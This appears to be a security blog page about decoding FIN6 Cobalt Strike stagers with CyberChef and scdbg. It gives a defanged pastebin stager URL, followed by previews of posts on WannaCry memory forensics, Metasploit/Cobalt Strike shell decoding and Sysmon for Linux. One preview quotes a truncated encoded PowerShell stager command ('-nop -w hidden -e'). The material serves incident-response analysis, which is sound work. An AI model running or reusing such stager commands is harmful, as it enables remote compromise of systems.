Decode FIN6 Cobalt Strike stagers

This post explains about decoding FIN6 cobalt strike stagers using cyberchef and scdbg. Attackers leverage pastebin to host cobalt strike stagers or malicious droppers and few of them are still active on pastebin though the final c2 or domains are not active. Below is one of those pastebin httpstagers

hxxps://pastebin[.]com/raw/HPpvY00Q.

One of my previous posts Decoding Metasploit and CobaltStrike shells explains how to use CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2. Here scdbg command line version for linux is used to emulate the shellcode

References:

Comments

Memory Analysis of WannaCry Ransomware

Introduction This post explains the memory dump analysis of WannaCry infected system using volatility (An open source memory forensics framework) and other open source tools. It doesn't cover the analysis of initial infection vector, propagation and recovery of infected system. The objective is to leverage memory forensic analysis to uncover and extract Indicators of Compromise (IoC) WannaCry WannaCry (or WannaCrypt, WanaCrypt0r 2.0, Wanna Decryptor) is a ransomware program targeting the Microsoft Windows operating system. On Friday, 12 May 2017, a large cyber-attack using it was launched, infecting more than 230,000 computers in 150 countries, demanding ransom payments in the cryptocurrency bitcoin in 28 languages.The attack has been described by Europol as unprecedented in scale. https://en.wikipedia.org/wiki/WannaCry_ransomware_attack Discalimer You are dealing with real malware samples Don’t expose them to internal networks or internet Analyze them in a controlle

Decoding Metasploit and CobaltStrike shells

Introduction This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike ). It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2 or an adversary ShellCode Here we have the encoded powershell command powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAH

Analyze Sysmon for Linux logs using Kusto Query Language

Recently I have come across a situation where I need to install Sysmon on a Linux virtual machine in Azure subscription and analyze those logs in Log analytics workspace. This post is a quick guide to help installing Sysmon and analyzing logs using Kusto query language. Prerequisites to install Sysmon for Linux Ensure the Linux virtual machine is on boarded to Log analytics workspace. Collect Syslog events with Azure Monitor Agent. Install using this Installing Sysmon on Linux For complete installation process on various .nix operating systems, follow Sysmon installation instructions here Ubuntu 20.04 & 22.04 Register Microsoft key and feed wget -q https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb -O packages-microsoft-prod.deb sudo dpkg -i packages-microsoft-prod.deb Install SysmonForLinux sudo apt-get update sudo apt-get install sysmonforlinux The Kusto query to parse the Sysmon logs on a Linux can be found here. let Eventlogs =

null0x4d5a

Search This Blog